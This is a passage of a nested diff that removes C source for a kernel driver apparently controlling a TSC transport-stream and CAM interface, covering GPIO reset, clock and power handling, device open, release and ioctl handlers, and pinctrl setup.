+- ret = gpio_direction_output(reset_gpio, 0); /* Make sure it's 0 */ +- if (ret != 0) +- goto err; +- +- ret = gpio_direction_output(reset_gpio, 1); /* Assert */ +- if (ret != 0) +- goto err; +- +- /* +- * Waiting to enable the CAM to process the assertion before the +- * deassertion. 1ms is needed for this processing. +- */ +- usleep(1000); +- +- ret = gpio_direction_output(reset_gpio, 0); /* Deassert */ +- if (ret != 0) +- goto err; +- +- return 0; +-err: +- pr_err("%s: Failed writing to reset cam GPIO\n", __func__); +- return ret; +-} +- +-/** +- * tsc_reset_registers() - Reset the TSC registers. +- * +- * Write specific reset values to the TSC registers, managed by the driver. +- */ +-static void tsc_reset_registers(void) +-{ +- /* Reset state - all mux transfer ext. demod 0 */ +- writel_relaxed(0x00000000, tsc_device->base + TSC_MUX_CFG); +- +- /* Disabling TSIFs inputs, putting polarity to normal, data as serial */ +- writel_relaxed(0x02000200, tsc_device->base + TSC_IN_IFC_EXT); +- writel_relaxed(0x02000200, tsc_device->base + TSC_IN_IFC_CFG_INT); +- +- /* Reseting TSC_FSM_STATE_MASK to represent all the states but poll */ +- writel_relaxed(0x3333300F, tsc_device->base + TSC_FSM_STATE_MASK); +- +- /* Clearing all the CAM interrupt */ +- writel_relaxed(0x1F, tsc_device->base + TSC_IRQ_CLR); +- +- /* Disabling all cam interrupts (enable is done at - open) */ +- writel_relaxed(0x00, tsc_device->base + TSC_IRQ_ENA); +- +- /* Disabling HW polling */ +- writel_relaxed(0x00, tsc_device->base + TSC_CIP_CFG); +- +- /* Reset state - address for read/write buffer */ +- writel_relaxed(0x00000000, tsc_device->base + TSC_RD_BUFF_ADDR); +- writel_relaxed(0x00000000, tsc_device->base + TSC_WR_BUFF_ADDR); +- +- /* Clearing false cd counter */ +- writel_relaxed(0x01, tsc_device->base + TSC_FALSE_CD_CLR); +- writel_relaxed(0x00, tsc_device->base + TSC_FALSE_CD_CLR); +- +- /* Disabling TSIF out to cicam and IO read/write with the CAM */ +- writel_relaxed(0x00000000, tsc_device->base + TSC_CICAM_TSIF); +-} +- +-/** +- * tsc_disable_tsifs() - Disable all the TSC Tsifs. +- * +- * Disable the TSIFs of the ext. demods, the int. demod and the cam on both +- * directions. +- */ +-static void tsc_disable_tsifs(void) +-{ +- u32 reg; +- +- /* Ext. TSIFs */ +- reg = readl_relaxed(tsc_device->base + TSC_IN_IFC_EXT); +- SET_BIT(TSIF_DISABLE_OFFS, reg); +- SET_BIT((TSIF_DISABLE_OFFS + 16), reg); +- writel_relaxed(reg, tsc_device->base + TSC_IN_IFC_EXT); +- +- /* Int. TSIF and TSIF-in from the CAM */ +- reg = readl_relaxed(tsc_device->base + TSC_IN_IFC_CFG_INT); +- SET_BIT(TSIF_DISABLE_OFFS, reg); +- SET_BIT((TSIF_DISABLE_OFFS + 16), reg); +- writel_relaxed(reg, tsc_device->base + TSC_IN_IFC_CFG_INT); +-} +- +-/** +- * tsc_power_on_clocks() - power-on the TSC clocks. +- * +- * Power-on the TSC clocks required for Mux and/or CI operations. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_power_on_clocks(void) +-{ +- int ret = 0; +- unsigned long rate_in_hz = 0; +- +- /* Enabling the clocks */ +- ret = clk_prepare_enable(tsc_device->ahb_clk); +- if (ret != 0) { +- pr_err("%s: Can't start tsc_ahb_clk", __func__); +- return ret; +- } +- +- /* We need to set the rate of ci clock before enabling it */ +- rate_in_hz = clk_round_rate(tsc_device->ci_clk, 1); +- if (clk_set_rate(tsc_device->ci_clk, rate_in_hz)) { +- pr_err("%s: Failed to set rate to tsc_ci clock\n", __func__); +- goto err; +- } +- +- ret = clk_prepare_enable(tsc_device->ci_clk); +- if (ret != 0) { +- pr_err("%s: Can't start tsc_ci_clk", __func__); +- goto err; +- } +- +- return ret; +-err: +- clk_disable_unprepare(tsc_device->ahb_clk); +- return ret; +-} +- +-/** +- * tsc_power_off_clocks() - power-off the TSC clocks. +- * +- * Power-off the TSC clocks required for Mux and/or CI operations. +- */ +-static void tsc_power_off_clocks(void) +-{ +- clk_disable_unprepare(tsc_device->ahb_clk); +- clk_disable_unprepare(tsc_device->ci_clk); +-} +- +-/** +- * tsc_mux_power_on_clocks() - power-on the TSC Mux clocks. +- * +- * Power-on the TSC clocks required only for Mux operations, and not for CI. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_mux_power_on_clocks(void) +-{ +- int ret = 0; +- +- /* Setting the cicam clock rate */ +- ret = clk_set_rate(tsc_device->cicam_ts_clk, CICAM_CLK_RATE_7MHZ); +- if (ret != 0) { +- pr_err("%s: Can't set rate for tsc_cicam_ts_clk", __func__); +- goto err_set_rate; +- } +- +- /* Setting the TSC serial clock rate */ +- ret = clk_set_rate(tsc_device->ser_clk, TSC_SER_CLK_RATE); +- if (ret != 0) { +- pr_err("%s: Can't set rate for tsc serial clock", __func__); +- goto err_set_rate; +- } +- +- /* Setting the TSC parallel clock rate */ +- ret = clk_set_rate(tsc_device->par_clk, TSC_PAR_CLK_RATE); +- if (ret != 0) { +- pr_err("%s: Can't set rate for tsc parallel clock", __func__); +- goto err_set_rate; +- } +- +- /* Enabling the clocks */ +- ret = clk_prepare_enable(tsc_device->ser_clk); +- if (ret != 0) { +- pr_err("%s: Can't start tsc_ser_clk", __func__); +- goto err_ser_clk; +- } +- ret = clk_prepare_enable(tsc_device->par_clk); +- if (ret != 0) { +- pr_err("%s: Can't start tsc_par_clk", __func__); +- goto err_par_clk; +- } +- ret = clk_prepare_enable(tsc_device->cicam_ts_clk); +- if (ret != 0) { +- pr_err("%s: Can't start tsc_cicam_ts_clk", __func__); +- goto err_cicam_ts_clk; +- } +- +- return ret; +- +-err_cicam_ts_clk: +- clk_disable_unprepare(tsc_device->par_clk); +-err_par_clk: +- clk_disable_unprepare(tsc_device->ser_clk); +-err_ser_clk: +-err_set_rate: +- return ret; +-} +- +-/** +- * tsc_mux_power_off_clocks() - power-off the TSC Mux clocks. +- * +- * Power-off the TSC clocks required only for Mux operations, and not for CI. +- */ +-static void tsc_mux_power_off_clocks(void) +-{ +- clk_disable_unprepare(tsc_device->ser_clk); +- clk_disable_unprepare(tsc_device->par_clk); +- clk_disable_unprepare(tsc_device->cicam_ts_clk); +-} +- +-/** +- * tsc_device_power_up() - Power init done by the first device opened. +- * +- * Check if it's the first device and enable the GDSC,power-on the TSC clocks +- * required for both Mux and CI, Vote for the bus and reset the registers to a +- * known default values. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_device_power_up(void) +-{ +- int ret = 0; +- +- if (mutex_lock_interruptible(&tsc_device->mutex)) +- return -ERESTARTSYS; +- +- if (tsc_device->num_device_open > 0) +- goto not_first_device; +- +- /* Enable the GDSC */ +- ret = regulator_enable(tsc_device->gdsc); +- if (ret != 0) { +- pr_err("%s: Failed to enable regulator\n", __func__); +- goto err_regulator; +- } +- +- /* Power-on the clocks needed by Mux and CI */ +- ret = tsc_power_on_clocks(); +- if (ret != 0) +- goto err_power_clocks; +- +- /* Voting for bus bandwidth */ +- if (tsc_device->bus_client) { +- ret = msm_bus_scale_client_update_request +- (tsc_device->bus_client, 1); +- if (ret) { +- pr_err("%s: Can't enable bus\n", __func__); +- goto err_bus; +- } +- } +- +- /* Reset the TSC TLMM pins to a default state */ +- ret = pinctrl_select_state(tsc_device->pinctrl_info.pinctrl, +- tsc_device->pinctrl_info.disable); +- if (ret != 0) { +- pr_err("%s: Failed to disable the TLMM pins\n", __func__); +- goto err_pinctrl; +- } +- /* Update the current pinctrl state in the internal struct */ +- tsc_device->pinctrl_info.curr_state.ts0 = false; +- tsc_device->pinctrl_info.curr_state.ts1 = false; +- tsc_device->pinctrl_info.curr_state.pcmcia_state = +- TSC_CICAM_PERSONALITY_DISABLE; +- +- /* Reset TSC registers to a default known state */ +- tsc_reset_registers(); +- +-not_first_device: +- tsc_device->num_device_open++; +- mutex_unlock(&tsc_device->mutex); +- return ret; +- +-err_pinctrl: +- if (tsc_device->bus_client) +- msm_bus_scale_client_update_request(tsc_device->bus_client, 0); +-err_bus: +- tsc_power_off_clocks(); +-err_power_clocks: +- regulator_disable(tsc_device->gdsc); +-err_regulator: +- mutex_unlock(&tsc_device->mutex); +- return ret; +-} +- +-/** +- * tsc_device_power_off() - Power off done by the last device closed. +- * +- * Check if it's the last device and unvote the bus, power-off the TSC clocks +- * required for both Mux and CI, disable the TLMM pins and disable the GDSC. +- */ +-static void tsc_device_power_off(void) +-{ +- mutex_lock(&tsc_device->mutex); +- +- if (tsc_device->num_device_open > 1) +- goto not_last_device; +- +- pinctrl_select_state(tsc_device->pinctrl_info.pinctrl, +- tsc_device->pinctrl_info.disable); +- if (tsc_device->bus_client) +- msm_bus_scale_client_update_request(tsc_device->bus_client, 0); +- +- tsc_power_off_clocks(); +- regulator_disable(tsc_device->gdsc); +- +-not_last_device: +- tsc_device->num_device_open--; +- mutex_unlock(&tsc_device->mutex); +-} +- +- +-/************************** TSC file operations **************************/ +-/** +- * tsc_mux_open() - init the TSC Mux char device. +- * +- * @inode: The inode associated with the TSC Mux device. +- * @flip: The file pointer associated with the TSC Mux device. +- * +- * Enables only one open Mux device. +- * Init all the data structures and vote for all the power resources needed. +- * Manage reference counters for initiating resources upon first open. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_mux_open(struct inode *inode, struct file *filp) +-{ +- struct tsc_mux_chdev *tsc_mux; +- int ret = 0; +- u32 ena_reg; +- +- if (mutex_lock_interruptible(&tsc_device->mux_chdev.mutex)) +- return -ERESTARTSYS; +- +- if (tsc_device->num_mux_opened > 0) { +- pr_err("%s: Too many devices open\n", __func__); +- mutex_unlock(&tsc_device->mux_chdev.mutex); +- return -EMFILE; +- } +- tsc_device->num_mux_opened++; +- +- tsc_mux = container_of(inode->i_cdev, struct tsc_mux_chdev, cdev); +- filp->private_data = tsc_mux; +- +- /* Init all resources if it's the first device (checked inside) */ +- ret = tsc_device_power_up(); +- if (ret != 0) +- goto err_first_device; +- +- /* Power-on the Mux clocks */ +- ret = tsc_mux_power_on_clocks(); +- if (ret != 0) +- goto err_mux_clocks; +- +- /* Init TSC Mux args */ +- spin_lock_init(&tsc_mux->spinlock); +- init_waitqueue_head(&tsc_mux->poll_queue); +- tsc_mux->rate_interrupt = false; +- +- /* Enabling TSC Mux cam interrupt of rate mismatch */ +- ena_reg = readl_relaxed(tsc_device->base + TSC_IRQ_ENA); +- SET_BIT(CAM_IRQ_RATE_MISMATCH_OFFS, ena_reg); +- writel_relaxed(ena_reg, tsc_device->base + TSC_IRQ_ENA); +- +- mutex_unlock(&tsc_device->mux_chdev.mutex); +- +- return ret; +- +-err_mux_clocks: +- /* De-init all resources if it's the only device (checked inside) */ +- tsc_device_power_off(); +-err_first_device: +- tsc_device->num_mux_opened--; +- mutex_unlock(&tsc_device->mux_chdev.mutex); +- return ret; +-} +- +-/** +- * tsc_ci_open() - init the TSC CI char device. +- * +- * @inode: The inode associated with the TSC Mux device. +- * @flip: The file pointer associated with the TSC Mux device. +- * +- * Enables only one open CI device. +- * Init all the data structures and vote for all the power resources needed. +- * Manage reference counters for initiating resources upon first open. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_ci_open(struct inode *inode, struct file *filp) +-{ +- struct tsc_ci_chdev *tsc_ci; +- int ret = 0; +- u32 ena_reg; +- +- if (mutex_lock_interruptible(&tsc_device->ci_chdev.mutex)) +- return -ERESTARTSYS; +- +- if (tsc_device->num_ci_opened > 0) { +- pr_err("%s: Too many devices open\n", __func__); +- mutex_unlock(&tsc_device->ci_chdev.mutex); +- return -EMFILE; +- } +- +- if (!tsc_device->pinctrl_info.is_pcmcia) { +- pr_err("%s: No pcmcia pinctrl definitions were found in the TSC devicetree\n", +- __func__); +- mutex_unlock(&tsc_device->ci_chdev.mutex); +- return -EPERM; +- } +- +- tsc_device->num_ci_opened++; +- +- tsc_ci = container_of(inode->i_cdev, struct tsc_ci_chdev, cdev); +- filp->private_data = tsc_ci; +- +- /* Init all resources if it's the first device (checked inside) */ +- ret = tsc_device_power_up(); +- if (ret != 0) +- goto err_first_device; +- +- /* powering-up the tspp2 and VBIF clocks */ +- ret = tsc_power_on_buff_mode_clocks(); +- if (ret != 0) +- goto err_buff_clocks; +- +- /* Request reset CAM GPIO */ +- ret = gpio_request(tsc_device->reset_cam_gpio, "tsc_ci_reset"); +- if (ret != 0) { +- pr_err("%s: Failed to request reset CAM GPIO\n", __func__); +- goto err_gpio_req; +- } +- +- /* Set the reset line to default "no card" state */ +- ret = gpio_direction_output(tsc_device->reset_cam_gpio, 1); +- if (ret != 0) { +- pr_err("%s: Failed to assert the reset CAM GPIO\n", __func__); +- goto err_assert; +- } +- +- /* Attach the iommu group to support the required memory mapping */ +- if (!tsc_iommu_bypass) { +- ret = iommu_attach_group(tsc_device->iommu_info.domain, +- tsc_device->iommu_info.group); +- if (ret != 0) { +- pr_err("%s: iommu_attach_group failed\n", __func__); +- goto err_iommu_attach; +- } +- } +- +- /* Init TSC CI args */ +- spin_lock_init(&tsc_ci->spinlock); +- init_waitqueue_head(&tsc_ci->poll_queue); +- tsc_ci->transaction_state = BEFORE_TRANSACTION; +- tsc_ci->data_busy = false; +- tsc_device->card_power = false; +- +- /* +- * Init hw card status flag according to the pins' state. +- * No need to protect from interrupt because the handler is not +- * registred yet. +- */ +- tsc_update_hw_card_status(); +- tsc_ci->card_status = tsc_device->hw_card_status; +- +- /* If a card is already inserted - need to power up the card */ +- if (tsc_device->hw_card_status == TSC_CARD_STATUS_DETECTED) { +- ret = tsc_card_power_up(); +- if (ret != 0) +- pr_err("%s: card power-up failed\n", __func__); +- else +- tsc_device->card_power = true; +- } +- +- /* Enabling the TSC CI cam interrupts: EOT and Err */ +- ena_reg = readl_relaxed(tsc_device->base + TSC_IRQ_ENA); +- SET_BIT(CAM_IRQ_EOT_OFFS, ena_reg); +- SET_BIT(CAM_IRQ_ERR_OFFS, ena_reg); +- writel_relaxed(ena_reg, tsc_device->base + TSC_IRQ_ENA); +- +- /* Registering the CAM cmd interrupt handler */ +- ret = request_irq(tsc_device->cam_cmd_irq, tsc_cam_cmd_irq_handler, +- IRQF_SHARED, dev_name(&tsc_device->pdev->dev), +- tsc_device); +- if (ret) { +- pr_err("%s: failed to request TSC IRQ %d : %d", +- __func__, tsc_device->cam_cmd_irq, ret); +- goto err_cam_irq; +- } +- +- /* +- * Registering the card detect interrupt handler (this interrupt is +- * enabled by default, right after this registration) +- */ +- ret = request_threaded_irq(tsc_device->card_detection_irq, +- NULL, tsc_card_detect_irq_thread_handler, +- IRQF_ONESHOT | IRQF_TRIGGER_RISING, +- dev_name(&tsc_device->pdev->dev), tsc_device); +- if (ret) { +- pr_err("%s: failed to request TSC IRQ %d : %d", +- __func__, tsc_device->card_detection_irq, ret); +- goto err_card_irq; +- } +- +- mutex_unlock(&tsc_device->ci_chdev.mutex); +- +- return ret; +- +-err_card_irq: +- free_irq(tsc_device->cam_cmd_irq, tsc_device); +-err_cam_irq: +- if (!tsc_iommu_bypass) +- iommu_detach_group(tsc_device->iommu_info.domain, +- tsc_device->iommu_info.group); +-err_iommu_attach: +- gpio_free(tsc_device->reset_cam_gpio); +-err_assert: +-err_gpio_req: +- tsc_power_off_buff_mode_clocks(); +-err_buff_clocks: +- /* De-init all resources if it's the only device (checked inside) */ +- tsc_device_power_off(); +-err_first_device: +- tsc_device->num_ci_opened--; +- mutex_unlock(&tsc_device->ci_chdev.mutex); +- return ret; +-} +- +-/** +- * tsc_mux_release() - Release and close the TSC Mux char device. +- * +- * @inode: The inode associated with the TSC Mux device. +- * @flip: The file pointer associated with the TSC Mux device. +- * +- * Release all the resources allocated for the Mux device and unvote power +- * resources. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_mux_release(struct inode *inode, struct file *filp) +-{ +- struct tsc_mux_chdev *tsc_mux; +- u32 ena_reg; +- +- tsc_mux = filp->private_data; +- if (!tsc_mux) +- return -EINVAL; +- +- mutex_lock(&tsc_mux->mutex); +- +- tsc_mux_power_off_clocks(); +- +- /* Disable the TSIFs */ +- tsc_disable_tsifs(); +- /* Disabling rate mismatch interrupt */ +- ena_reg = readl_relaxed(tsc_device->base + TSC_IRQ_ENA); +- CLEAR_BIT(CAM_IRQ_RATE_MISMATCH_OFFS, ena_reg); +- writel_relaxed(ena_reg, tsc_device->base + TSC_IRQ_ENA); +- +- tsc_device_power_off(); +- +- tsc_device->num_mux_opened--; +- mutex_unlock(&tsc_mux->mutex); +- +- return 0; +-} +- +-/** +- * tsc_ci_release() - Release and close the TSC CI char device. +- * +- * @inode: The inode associated with the TSC CI device. +- * @flip: The file pointer associated with the TSC CI device. +- * +- * Release all the resources allocated for the CI device and unvote power +- * resources. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_ci_release(struct inode *inode, struct file *filp) +-{ +- struct tsc_ci_chdev *tsc_ci; +- u32 ena_reg; +- int ret; +- +- tsc_ci = filp->private_data; +- if (!tsc_ci) +- return -EINVAL; +- +- mutex_lock(&tsc_ci->mutex); +- +- /* If in the middle of a data transaction- wake-up completion */ +- if (tsc_ci->data_busy) { +- /* Closing the device is similar in behavior to card removal */ +- tsc_ci->transaction_state = TRANSACTION_CARD_REMOVED; +- mutex_unlock(&tsc_ci->mutex); +- complete_all(&tsc_ci->transaction_complete); +- wait_for_completion(&tsc_ci->transaction_finish); +- mutex_lock(&tsc_ci->mutex); +- } +- +- /* clearing EOT and ERR interrupts */ +- ena_reg = readl_relaxed(tsc_device->base + TSC_IRQ_ENA); +- CLEAR_BIT(CAM_IRQ_EOT_OFFS, ena_reg); +- CLEAR_BIT(CAM_IRQ_ERR_OFFS, ena_reg); +- writel_relaxed(ena_reg, tsc_device->base + TSC_IRQ_ENA); +- +- /* Cancel the interrupt handlers registration */ +- free_irq(tsc_device->card_detection_irq, tsc_device); +- free_irq(tsc_device->cam_cmd_irq, tsc_device); +- +- /* power down the card interface if it's currently powered up */ +- if (tsc_device->hw_card_status == TSC_CARD_STATUS_DETECTED && +- tsc_device->card_power) { +- ret = tsc_card_power_down(); +- if (ret != 0) +- pr_err("%s: card power-down failed\n", __func__); +- } +- +- if (!tsc_iommu_bypass) +- iommu_detach_group(tsc_device->iommu_info.domain, +- tsc_device->iommu_info.group); +- +- gpio_free(tsc_device->reset_cam_gpio); +- +- tsc_power_off_buff_mode_clocks(); +- tsc_device_power_off(); +- +- tsc_device->num_ci_opened--; +- mutex_unlock(&tsc_ci->mutex); +- +- return 0; +-} +- +-/** +- * tsc_mux_poll() - Perform polling on a designated wait-queue. +- * +- * @flip: The file pointer associated with the TSC Mux device. +- * @p: The poll-table struct of the kernel. +- * +- * Add the TSC Mux wait-queue to the poll-table. Poll until a rate mismatch +- * interrupt is received. +- * +- * Return 0 on success, error value otherwise. +- */ +-static unsigned int tsc_mux_poll(struct file *filp, struct poll_table_struct *p) +-{ +- unsigned long flags; +- unsigned int mask = 0; +- struct tsc_mux_chdev *tsc_mux; +- +- tsc_mux = filp->private_data; +- if (!tsc_mux) +- return -EINVAL; +- +- /* register the wait queue for rate mismatch interrupt */ +- poll_wait(filp, &tsc_mux->poll_queue, p); +- +- /* Setting the mask upon rate mismatch irq and clearing the flag */ +- spin_lock_irqsave(&tsc_mux->spinlock, flags); +- if (tsc_mux->rate_interrupt) { +- mask = POLLPRI; +- tsc_mux->rate_interrupt = false; +- } +- spin_unlock_irqrestore(&tsc_mux->spinlock, flags); +- +- return mask; +-} +- +-/** +- * tsc_ci_poll() - Perform polling on a designated wait-queue. +- * +- * @flip: The file pointer associated with the TSC CI device. +- * @p: The poll-table struct of the kernel. +- * +- * Add the TSC Mux wait-queue to the poll-table. Poll until a card detection +- * interrupt is received. +- * +- * Return 0 on success, error value otherwise. +- */ +-static unsigned int tsc_ci_poll(struct file *filp, struct poll_table_struct *p) +-{ +- unsigned int mask = 0; +- +- struct tsc_ci_chdev *tsc_ci = filp->private_data; +- if (!tsc_ci) +- return -EINVAL; +- +- /* Register the wait queue for card detection interrupt */ +- poll_wait(filp, &tsc_ci->poll_queue, p); +- +- /* Setting the mask upon card detect irq and update ci card state */ +- if (mutex_lock_interruptible(&tsc_ci->mutex)) +- return -ERESTARTSYS; +- if (tsc_ci->card_status != tsc_device->hw_card_status) { +- mask = POLLPRI; +- tsc_ci->card_status = tsc_device->hw_card_status; +- } +- mutex_unlock(&tsc_ci->mutex); +- +- return mask; +-} +- +-/** +- * tsc_mux_ioctl() - Handle IOCTLs sent from user-space application. +- * +- * @flip: The file pointer associated with the TSC Mux device. +- * @cmd: The IOCTL code sent +- * @arg: The IOCTL argument (if the IOCTL receives an argument) +- * +- * Verify the validity of the IOCTL sent and handle it by updating the +- * appropriate register or calling a function that handle the IOCTL operation. +- * +- * Return 0 on success, error value otherwise. +- */ +-static long tsc_mux_ioctl(struct file *filp, +- unsigned int cmd, +- unsigned long arg) +-{ +- int ret = 0; +- struct tsc_mux_chdev *tsc_mux; +- struct tsc_route tsc_route; +- struct tsc_tsif_params tsif_params; +- +- tsc_mux = filp->private_data; +- if (!tsc_mux) +- return -EINVAL; +- +- if (mutex_lock_interruptible(&tsc_mux->mutex)) +- return -ERESTARTSYS; +- +- switch (cmd) { +- case TSC_CONFIG_ROUTE: +- if (!arg || copy_from_user(&tsc_route, (void *)arg, +- sizeof(struct tsc_route))) { +- ret = -EFAULT; +- goto err; +- } +- ret = tsc_route_mux(tsc_mux, tsc_route.source, tsc_route.dest); +- break; +- case TSC_ENABLE_INPUT: +- ret = tsc_enable_disable_tsif(tsc_mux, arg, TSIF_INPUT_ENABLE); +- break; +- case TSC_DISABLE_INPUT: +- ret = tsc_enable_disable_tsif(tsc_mux, arg, TSIF_INPUT_DISABLE); +- break; +- case TSC_SET_TSIF_CONFIG: +- if (!arg || copy_from_user(&tsif_params, (void *)arg, +- sizeof(struct tsc_tsif_params))) { +- ret = -EFAULT; +- goto err; +- } +- ret = tsc_config_tsif(tsc_mux, &tsif_params); +- break; +- case TSC_CLEAR_RATE_MISMATCH_IRQ: +- tsc_enable_rate_irq(tsc_mux); +- break; +- case TSC_CICAM_SET_CLOCK: +- ret = tsc_set_cicam_clk(arg); +- break; +- default: +- ret = -EINVAL; +- pr_err("%s: Unknown ioctl %i", __func__, cmd); +- } +- +-err: +- mutex_unlock(&tsc_mux->mutex); +- return ret; +-} +- +-/** +- * tsc_ci_ioctl() - Handle IOCTLs sent from user-space application. +- * +- * @flip: The file pointer associated with the TSC CI device. +- * @cmd: The IOCTL code sent +- * @arg: The IOCTL argument (if the IOCTL receives an argument) +- * +- * Verify the validity of the IOCTL sent and handle it by updating the +- * appropriate register or calling a function that handle the IOCTL operation. +- * +- * Return 0 on success, error value otherwise. +- */ +-static long tsc_ci_ioctl(struct file *filp, +- unsigned int cmd, +- unsigned long arg) +-{ +- int ret = 0; +- struct tsc_ci_chdev *tsc_ci; +- unsigned long flags; +- +- tsc_ci = filp->private_data; +- if (!tsc_ci) +- return -EINVAL; +- +- if (mutex_lock_interruptible(&tsc_ci->mutex)) +- return -ERESTARTSYS; +- +- switch (cmd) { +- +- case TSC_CAM_RESET: +- ret = tsc_reset_cam(); +- break; +- case TSC_CICAM_PERSONALITY_CHANGE: +- ret = tsc_personality_change(arg); +- break; +- case TSC_GET_CARD_STATUS: +- spin_lock_irqsave(&tsc_ci->spinlock, flags); +- tsc_ci->card_status = tsc_device->hw_card_status; +- ret = __put_user(tsc_ci->card_status, +- (enum tsc_card_status __user *)arg); +- spin_unlock_irqrestore(&tsc_ci->spinlock, flags); +- break; +- case TSC_READ_CAM_MEMORY: +- ret = tsc_data_transaction(tsc_ci, MEMORY_TRANSACTION, +- READ_TRANSACTION, SINGLE_BYTE_MODE, arg); +- break; +- case TSC_WRITE_CAM_MEMORY: +- ret = tsc_data_transaction(tsc_ci, MEMORY_TRANSACTION, +- WRITE_TRANSACTION, SINGLE_BYTE_MODE, arg); +- break; +- case TSC_READ_CAM_IO: +- ret = tsc_data_transaction(tsc_ci, IO_TRANSACTION, +- READ_TRANSACTION, SINGLE_BYTE_MODE, arg); +- break; +- case TSC_WRITE_CAM_IO: +- ret = tsc_data_transaction(tsc_ci, IO_TRANSACTION, +- WRITE_TRANSACTION, SINGLE_BYTE_MODE, arg); +- break; +- case TSC_READ_CAM_BUFFER: +- ret = tsc_data_transaction(tsc_ci, IO_TRANSACTION, +- READ_TRANSACTION, BUFFER_MODE, arg); +- break; +- case TSC_WRITE_CAM_BUFFER: +- ret = tsc_data_transaction(tsc_ci, IO_TRANSACTION, +- WRITE_TRANSACTION, BUFFER_MODE, arg); +- break; +- default: +- ret = -EINVAL; +- pr_err("%s: Unknown ioctl %i\n", __func__, cmd); +- } +- +- mutex_unlock(&tsc_ci->mutex); +- return ret; +-} +- +-/************************** Probe helper-functions **************************/ +-/** +- * tsc_init_char_driver() - Initialize a character driver. +- * +- * @pcdev: A pointer to the cdev structure to initialize. +- * @pfops: A pointer to the file_operations for this device. +- * @device_number: A pointer that will store the device number. +- * @device: A pointer that will store the new device upon success. +- * @name: A string for the device's name. +- * +- * Create a new character device driver inside the TSC class. The new device +- * is created under "/dev/0". +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_init_char_driver(struct cdev *pcdev, +- const struct file_operations *pfops, +- dev_t *pdevice_number, +- struct device *pdevice, +- const char *name) +-{ +- int ret = 0; +- +- /* Allocate device number for the char device driver */ +- ret = alloc_chrdev_region(pdevice_number, 0, 1, name); +- if (ret) { +- pr_err("%s: alloc_chrdev_region failed: %d\n", name, ret); +- goto err_devrgn; +- } +- +- /* initializing the char device structures with file operations */ +- cdev_init(pcdev, pfops); +- pcdev->owner = THIS_MODULE; +- +- /* adding the char device structures to the VFS */ +- ret = cdev_add(pcdev, *pdevice_number, 1); +- if (ret != 0) { +- pr_err("%s%d: cdev_add failed\n", name, MINOR(*pdevice_number)); +- goto err_cdev_add; +- } +- +- /* create the char devices under "/dev/" and register them to sysfs */ +- pdevice = device_create(tsc_class, NULL, pcdev->dev, NULL, "%s%d", name, +- MINOR(*pdevice_number)); +- if (IS_ERR(pdevice)) { +- pr_err("%s%d device_create failed\n", name, +- MINOR(*pdevice_number)); +- ret = PTR_ERR(pdevice); /* PTR_ERR return -ENOMEM */ +- goto err_device_create; +- } +- +- return ret; +- +-err_device_create: +- cdev_del(pcdev); +-err_cdev_add: +- unregister_chrdev_region(*pdevice_number, 1); +-err_devrgn: +- return ret; +-} +- +-/** +- * tsc_get_pinctrl() - Get the TSC pinctrl definitions. +- * +- * @pdev: A pointer to the TSC platform device. +- * +- * Get the pinctrl states' handles from the device tree. The function doesn't +- * enforce wrong pinctrl definitions, i.e. it's the client's responsibility to +- * define all the necessary states for the board being used. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_get_pinctrl(struct platform_device *pdev) +-{ +- struct pinctrl *pinctrl; +- +- pinctrl = devm_pinctrl_get(&pdev->dev); +- if (IS_ERR(pinctrl)) { +- pr_err("%s: Unable to get pinctrl handle\n", __func__); +- return -EINVAL; +- } +- tsc_device->pinctrl_info.pinctrl = pinctrl; +- +- /* get all the states handles */ +- tsc_device->pinctrl_info.disable = +- pinctrl_lookup_state(pinctrl, "disable"); +- tsc_device->pinctrl_info.ts0 = +- pinctrl_lookup_state(pinctrl, "ts-in-0"); +- tsc_device->pinctrl_info.ts1 = +- pinctrl_lookup_state(pinctrl, "ts-in-1"); +- tsc_device->pinctrl_info.dual_ts = +- pinctrl_lookup_state(pinctrl, "dual-ts"); +- tsc_device->pinctrl_info.pc_card = +- pinctrl_lookup_state(pinctrl, "pc-card"); +- tsc_device->pinctrl_info.ci_card = +- pinctrl_lookup_state(pinctrl, "ci-card"); +- tsc_device->pinctrl_info.ci_plus = +- pinctrl_lookup_state(pinctrl, "ci-plus"); +- tsc_device->pinctrl_info.ts0_pc_card = +- pinctrl_lookup_state(pinctrl, "ts-in-0-pc-card"); +- tsc_device->pinctrl_info.ts0_ci_card = +- pinctrl_lookup_state(pinctrl, "ts-in-0-ci-card"); +- tsc_device->pinctrl_info.ts0_ci_plus = +- pinctrl_lookup_state(pinctrl, "ts-in-0-ci-plus"); +- tsc_device->pinctrl_info.ts1_pc_card = +- pinctrl_lookup_state(pinctrl, "ts-in-1-pc-card"); +- tsc_device->pinctrl_info.ts1_ci_card = +- pinctrl_lookup_state(pinctrl, "ts-in-1-ci-card"); +- tsc_device->pinctrl_info.ts1_ci_plus = +- pinctrl_lookup_state(pinctrl, "ts-in-1-ci-plus"); +- tsc_device->pinctrl_info.dual_ts_pc_card = +- pinctrl_lookup_state(pinctrl, "dual-ts-pc-card"); +- tsc_device->pinctrl_info.dual_ts_ci_card = +- pinctrl_lookup_state(pinctrl, "dual-ts-ci-card"); +- tsc_device->pinctrl_info.dual_ts_ci_plus = +- pinctrl_lookup_state(pinctrl, "dual-ts-ci-plus"); +- +- if (IS_ERR(tsc_device->pinctrl_info.disable)) { +- pr_err("%s: Unable to get pinctrl disable state handle\n", +- __func__); +- return -EINVAL; +- } +- +- /* Basic checks to inquire what pinctrl states are available */ +- if (IS_ERR(tsc_device->pinctrl_info.ts0)) +- tsc_device->pinctrl_info.is_ts0 = false; +- else +- tsc_device->pinctrl_info.is_ts0 = true; +- +- if (IS_ERR(tsc_device->pinctrl_info.ts1)) +- tsc_device->pinctrl_info.is_ts1 = false; +- else +- tsc_device->pinctrl_info.is_ts1 = true; +- +- if (IS_ERR(tsc_device->pinctrl_info.pc_card) || +- IS_ERR(tsc_device->pinctrl_info.ci_card) || +- IS_ERR(tsc_device->pinctrl_info.ci_plus)) +- tsc_device->pinctrl_info.is_pcmcia = false; +- else +- tsc_device->pinctrl_info.is_pcmcia = true; +- +- return 0; +-} +- 